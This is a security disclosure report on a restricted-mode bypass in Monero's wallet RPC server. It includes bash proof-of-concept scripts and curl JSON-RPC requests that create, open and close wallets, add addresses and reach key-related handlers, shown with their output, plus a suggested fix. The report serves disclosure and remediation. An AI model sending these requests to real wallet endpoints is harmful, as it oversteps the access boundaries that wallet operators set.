Monero · Report #3620006
Wallet RPC Restricted-Mode Policy Bypass
How it was found
Summary
monero-wallet-rpc documents --restricted-rpc as view-only, but multiple non-view-only handlers do not enforce m_restricted.
As a result, a restricted wallet-RPC client can perform state-changing or policy-sensitive operations that should be denied.
Validated locally:
create_walletsucceeds in restricted mode.close_walletsucceeds in restricted mode.open_walletsucceeds in restricted mode.create_addresssucceeds in restricted mode.export_key_imagesreaches a success path instead of returning restricted-mode denial.get_tx_keyandget_reserve_proofreach proof/key-handling logic instead of being denied.
For contrast, once a wallet is loaded, a correctly gated method such as transfer returns Command unavailable in restricted mode.
Severity
Suggested CVSS v3.1: 7.6 with AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L.
Rationale:
- The issue is network reachable over wallet RPC.
- Restricted mode is explicitly meant to reduce a client to view-only access.
- A restricted client can create wallets, close wallets, open wallets, and mutate wallet state.
- The current PoC demonstrates unauthorized access to proof/key-related handlers, but it does not claim extraction of secret material from those endpoints.
- I validated the bypass with normal digest-auth restricted credentials, so this score does not depend on disabled authentication.
close_walletcauses a real low-grade availability impact by breaking subsequent operations on the active wallet instance until an operator reloads or recreates the wallet state.
Deployment note:
- Wallet RPC binds to loopback by default, and authentication remains enabled unless the operator disables it.
- The
AV:N/PR:Lframing assumes an operator intentionally exposes wallet RPC to a remote restricted client, not the out-of-the-box local-only posture.
AI Usage Disclosure
AI assistance was used for code review, draft organization, and local validation planning. All substantive technical claims retained here were checked against the local source tree and local runtime results before inclusion.
Affected Versions
Validated on local master at:
b9998fc9e1c280d30e4b40ba983b1964eb256d66
Repository history shows wallet-RPC restricted mode was introduced by commit:
a64f57fe42292720415a507feb4f543ef3c3adbe
Released tags containing that commit begin with:
v0.13.0.0-RC1
Conservative affected range:
v0.13.0.0-RC1and later releases containing wallet-RPC restricted mode- all
v0.13.x - all
v0.14.x - all
v0.15.x - all
v0.16.x - all
v0.17.x - all
v0.18.x - current
master
Root Cause
Restricted-mode enforcement is implemented ad hoc inside individual handlers instead of through a centralized allowlist or denylist.
The advertised restricted/view-only mode:
const command_line::arg_descriptor<bool> arg_restricted = {"restricted-rpc", "Restricts to view-only commands", false};
Source:
src/wallet/wallet_rpc_server.cpp:130
Correctly gated example:
if (m_restricted)
{
er.code = WALLET_RPC_ERROR_CODE_DENIED;
er.message = "Command unavailable in restricted mode.";
return false;
}
Source:
src/wallet/wallet_rpc_server.cpp:1240
Handlers missing restricted-mode checks:
on_set_subaddr_lookahead()atsrc/wallet/wallet_rpc_server.cpp:706(source-reviewed, not separately PoC'd)on_create_address()atsrc/wallet/wallet_rpc_server.cpp:732on_label_address()atsrc/wallet/wallet_rpc_server.cpp:770(source-reviewed, not separately PoC'd)on_create_account()atsrc/wallet/wallet_rpc_server.cpp:833(source-reviewed, not separately PoC'd)on_label_account()atsrc/wallet/wallet_rpc_server.cpp:851(source-reviewed, not separately PoC'd)on_tag_accounts()atsrc/wallet/wallet_rpc_server.cpp:887(source-reviewed, not separately PoC'd)on_untag_accounts()atsrc/wallet/wallet_rpc_server.cpp:903(source-reviewed, not separately PoC'd)on_set_account_tag_description()atsrc/wallet/wallet_rpc_server.cpp:919(source-reviewed, not separately PoC'd)on_get_tx_key()atsrc/wallet/wallet_rpc_server.cpp:2640on_get_tx_proof()atsrc/wallet/wallet_rpc_server.cpp:2732(source-reviewed, not separately PoC'd)on_get_spend_proof()atsrc/wallet/wallet_rpc_server.cpp:2799(source-reviewed, not separately PoC'd)on_get_reserve_proof()atsrc/wallet/wallet_rpc_server.cpp:2849on_export_key_images()atsrc/wallet/wallet_rpc_server.cpp:3148on_start_mining()atsrc/wallet/wallet_rpc_server.cpp:3535on_stop_mining()atsrc/wallet/wallet_rpc_server.cpp:3570(source-reviewed, not separately PoC'd)on_create_wallet()atsrc/wallet/wallet_rpc_server.cpp:3592on_open_wallet()atsrc/wallet/wallet_rpc_server.cpp:3685on_close_wallet()atsrc/wallet/wallet_rpc_server.cpp:3756
Proof of Concept
The following scripts reproduce the bypasses in sequence against a locally running restricted instance and include the exact JSON responses observed during local validation.
Inline PoC: unauthenticated restricted local reproduction
#!/usr/bin/env bash
set -euo pipefail
PORT=28090
ROOT=/tmp/monero-wallet-rpc-restricted-test
WALLETS="$ROOT/wallets"
BIN=./build-audit-run/bin/monero-wallet-rpc
mkdir -p "$WALLETS"
"$BIN" \
--wallet-dir "$WALLETS" \
--restricted-rpc \
--disable-rpc-login \
--offline \
--rpc-bind-ip 127.0.0.1 \
--rpc-bind-port "$PORT" \
--non-interactive \
--log-level 0 &
PID=$!
trap 'kill "$PID" >/dev/null 2>&1 || true' EXIT
sleep 1
rpc() {
curl -sS -H 'Content-Type: application/json' --data "$1" "http://127.0.0.1:$PORT/json_rpc"
printf '\n'
}
echo 'create_wallet='
rpc '{"jsonrpc":"2.0","id":"0","method":"create_wallet","params":{"filename":"attacker_wallet","password":"testpass","language":"English"}}'
echo 'transfer_with_wallet='
rpc '{"jsonrpc":"2.0","id":"10","method":"transfer","params":{"destinations":[],"priority":0}}'
echo 'close_wallet='
rpc '{"jsonrpc":"2.0","id":"2","method":"close_wallet","params":{"autosave_current":true}}'
echo 'get_balance_after_close='
rpc '{"jsonrpc":"2.0","id":"3","method":"get_balance","params":{}}'
echo 'open_wallet='
rpc '{"jsonrpc":"2.0","id":"4","method":"open_wallet","params":{"filename":"attacker_wallet","password":"testpass"}}'
echo 'create_address='
rpc '{"jsonrpc":"2.0","id":"7","method":"create_address","params":{"account_index":0,"label":"evil-sub"}}'
echo 'export_key_images='
rpc '{"jsonrpc":"2.0","id":"8","method":"export_key_images","params":{"all":true}}'
echo 'get_tx_key='
rpc '{"jsonrpc":"2.0","id":"9","method":"get_tx_key","params":{"txid":"0000000000000000000000000000000000000000000000000000000000000000"}}'
echo 'get_reserve_proof='
rpc '{"jsonrpc":"2.0","id":"11","method":"get_reserve_proof","params":{"all":true,"account_index":0,"amount":0,"message":"hello"}}'
Inline PoC logs: observed local output
create_wallet=
{
"id": "0",
"jsonrpc": "2.0",
"result": {}
}
transfer_with_wallet=
{
"error": {
"code": -7,
"message": "Command unavailable in restricted mode."
},
"id": "10",
"jsonrpc": "2.0"
}
close_wallet=
{
"id": "2",
"jsonrpc": "2.0",
"result": {}
}
get_balance_after_close=
{
"error": {
"code": -13,
"message": "No wallet file"
},
"id": "3",
"jsonrpc": "2.0"
}
open_wallet=
{
"id": "4",
"jsonrpc": "2.0",
"result": {}
}
create_address=
{
"id": "7",
"jsonrpc": "2.0",
"result": {
"address": "8C7psYHwSsHMsaswTBBTkiPixnhTecvpYPs2L93pnJePVw8b26ND5ot1m8mAEyWKQxASEsBSqi53i2TFf9hzXso1KHvijP6",
"address_index": 1,
"address_indices": [1],
"addresses": ["8C7psYHwSsHMsaswTBBTkiPixnhTecvpYPs2L93pnJePVw8b26ND5ot1m8mAEyWKQxASEsBSqi53i2TFf9hzXso1KHvijP6"]
}
}
export_key_images=
{
"id": "8",
"jsonrpc": "2.0",
"result": {
"offset": 0
}
}
get_tx_key=
{
"error": {
"code": -24,
"message": "No tx secret key is stored for this tx"
},
"id": "9",
"jsonrpc": "2.0"
}
get_reserve_proof=
{
"error": {
"code": -1,
"message": "Zero balance"
},
"id": "11",
"jsonrpc": "2.0"
}
Inline PoC: authenticated restricted local reproduction
#!/usr/bin/env bash
set -euo pipefail
PORT=28091
ROOT=/tmp/monero-wallet-rpc-restricted-auth-test
WALLETS="$ROOT/wallets"
BIN=./build-audit-run/bin/monero-wallet-rpc
mkdir -p "$WALLETS"
"$BIN" \
--wallet-dir "$WALLETS" \
--restricted-rpc \
--offline \
--rpc-bind-ip 127.0.0.1 \
--rpc-bind-port "$PORT" \
--non-interactive \
--log-level 0 &
PID=$!
trap 'kill "$PID" >/dev/null 2>&1 || true' EXIT
sleep 1
CREDS="$(cat monero-wallet-rpc.$PORT.login)"
rpc_auth() {
curl -sS --digest -u "$CREDS" -H 'Content-Type: application/json' --data "$1" "http://127.0.0.1:$PORT/json_rpc"
printf '\n'
}
echo 'create_wallet_auth='
rpc_auth '{"jsonrpc":"2.0","id":"12","method":"create_wallet","params":{"filename":"auth_wallet","password":"testpass","language":"English"}}'
echo 'create_address_auth='
rpc_auth '{"jsonrpc":"2.0","id":"14","method":"create_address","params":{"account_index":0,"label":"auth-sub"}}'
Inline PoC logs: authenticated observed local output
create_wallet_auth=
{
"id": "12",
"jsonrpc": "2.0",
"result": {}
}
create_address_auth=
{
"id": "14",
"jsonrpc": "2.0",
"result": {
"address": "8BCxEqJFydYjJqHCS1DXbgaHSGyzU65YdiymNYEa3pcQSj24Rdxa15YbFJyyd2xvUbMUKcc67F3S9NC6iYPmod815jq7cy3",
"address_index": 1,
"address_indices": [1],
"addresses": ["8BCxEqJFydYjJqHCS1DXbgaHSGyzU65YdiymNYEa3pcQSj24Rdxa15YbFJyyd2xvUbMUKcc67F3S9NC6iYPmod815jq7cy3"]
}
}
Validation
Build
cmake --build build-audit-run --target wallet_rpc_server -j4
Unauthenticated restricted local reproduction
Started locally with:
mkdir -p /tmp/monero-wallet-rpc-restricted-test/wallets
./build-audit-run/bin/monero-wallet-rpc \
--wallet-dir /tmp/monero-wallet-rpc-restricted-test/wallets \
--restricted-rpc \
--disable-rpc-login \
--offline \
--rpc-bind-ip 127.0.0.1 \
--rpc-bind-port 28090 \
--non-interactive \
--log-level 0
I first loaded a wallet with create_wallet. Otherwise transfer hits No wallet file before it reaches the restricted-mode denial branch.
Restricted create_wallet:
curl -sS -H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","id":"0","method":"create_wallet","params":{"filename":"attacker_wallet","password":"testpass","language":"English"}}' \
http://127.0.0.1:28090/json_rpc
Observed:
{
"id": "0",
"jsonrpc": "2.0",
"result": {}
}
Negative control after a wallet is loaded:
curl -sS -H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","id":"10","method":"transfer","params":{"destinations":[],"priority":0}}' \
http://127.0.0.1:28090/json_rpc
Observed:
{
"error": {
"code": -7,
"message": "Command unavailable in restricted mode."
},
"id": "10",
"jsonrpc": "2.0"
}
Restricted close_wallet:
curl -sS -H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","id":"2","method":"close_wallet","params":{"autosave_current":true}}' \
http://127.0.0.1:28090/json_rpc
Observed:
{
"id": "2",
"jsonrpc": "2.0",
"result": {}
}
Follow-up:
curl -sS -H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","id":"3","method":"get_balance","params":{}}' \
http://127.0.0.1:28090/json_rpc
Observed:
{
"error": {
"code": -13,
"message": "No wallet file"
},
"id": "3",
"jsonrpc": "2.0"
}
Restricted open_wallet:
curl -sS -H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","id":"4","method":"open_wallet","params":{"filename":"attacker_wallet","password":"testpass"}}' \
http://127.0.0.1:28090/json_rpc
Observed:
{
"id": "4",
"jsonrpc": "2.0",
"result": {}
}
Restricted create_address:
curl -sS -H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","id":"7","method":"create_address","params":{"account_index":0,"label":"evil-sub"}}' \
http://127.0.0.1:28090/json_rpc
Observed:
{
"id": "7",
"jsonrpc": "2.0",
"result": {
"address": "8C7psYHwSsHMsaswTBBTkiPixnhTecvpYPs2L93pnJePVw8b26ND5ot1m8mAEyWKQxASEsBSqi53i2TFf9hzXso1KHvijP6",
"address_index": 1,
"address_indices": [1],
"addresses": ["8C7psYHwSsHMsaswTBBTkiPixnhTecvpYPs2L93pnJePVw8b26ND5ot1m8mAEyWKQxASEsBSqi53i2TFf9hzXso1KHvijP6"]
}
}
Restricted export_key_images:
curl -sS -H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","id":"8","method":"export_key_images","params":{"all":true}}' \
http://127.0.0.1:28090/json_rpc
Observed:
{
"id": "8",
"jsonrpc": "2.0",
"result": {
"offset": 0
}
}
Restricted get_tx_key:
curl -sS -H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","id":"9","method":"get_tx_key","params":{"txid":"0000000000000000000000000000000000000000000000000000000000000000"}}' \
http://127.0.0.1:28090/json_rpc
Observed:
{
"error": {
"code": -24,
"message": "No tx secret key is stored for this tx"
},
"id": "9",
"jsonrpc": "2.0"
}
Restricted get_reserve_proof:
curl -sS -H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","id":"11","method":"get_reserve_proof","params":{"all":true,"account_index":0,"amount":0,"message":"hello"}}' \
http://127.0.0.1:28090/json_rpc
Observed:
{
"error": {
"code": -1,
"message": "Zero balance"
},
"id": "11",
"jsonrpc": "2.0"
}
Authenticated restricted local reproduction
Started locally with normal digest auth enabled:
mkdir -p /tmp/monero-wallet-rpc-restricted-auth-test/wallets
./build-audit-run/bin/monero-wallet-rpc \
--wallet-dir /tmp/monero-wallet-rpc-restricted-auth-test/wallets \
--restricted-rpc \
--offline \
--rpc-bind-ip 127.0.0.1 \
--rpc-bind-port 28091 \
--non-interactive \
--log-level 0
The server generated local credentials:
monero:<generated-password>
Authenticated restricted create_wallet:
curl -sS --digest -u 'monero:<generated-password>' \
-H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","id":"12","method":"create_wallet","params":{"filename":"auth_wallet","password":"testpass","language":"English"}}' \
http://127.0.0.1:28091/json_rpc
Observed:
{
"id": "12",
"jsonrpc": "2.0",
"result": {}
}
Authenticated restricted create_address:
curl -sS --digest -u 'monero:<generated-password>' \
-H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","id":"14","method":"create_address","params":{"account_index":0,"label":"auth-sub"}}' \
http://127.0.0.1:28091/json_rpc
Observed:
{
"id": "14",
"jsonrpc": "2.0",
"result": {
"address": "8BCxEqJFydYjJqHCS1DXbgaHSGyzU65YdiymNYEa3pcQSj24Rdxa15YbFJyyd2xvUbMUKcc67F3S9NC6iYPmod815jq7cy3",
"address_index": 1,
"address_indices": [1],
"addresses": ["8BCxEqJFydYjJqHCS1DXbgaHSGyzU65YdiymNYEa3pcQSj24Rdxa15YbFJyyd2xvUbMUKcc67F3S9NC6iYPmod815jq7cy3"]
}
}
This confirms the bug does not depend on disabled authentication.
Suggested Fix
Do not keep restricted-mode enforcement distributed across individual handlers.
Recommended fix:
- Define a centralized allowlist of truly view-only wallet RPC methods.
- Reject any non-allowlisted method before handler dispatch when
m_restrictedis set. - Add regression coverage that compares restricted-mode behavior for both allowed and denied methods.
Example allowlist candidates consistent with the documented view-only contract:
get_balanceget_addressget_heightget_accountsget_transfersget_transfer_by_txidget_address_bookget_versionquery_keyonly whenkey_type == "view_key"; spend-key queries should remain denied
Impact
A remote restricted wallet-RPC client can exceed the product's intended view-only privilege boundary.
Confirmed locally:
- create new wallets
- close the active wallet
- mutate wallet address state
- reach proof/key-related handlers that should not be accessible to restricted clients, even though this PoC did not extract secret material from them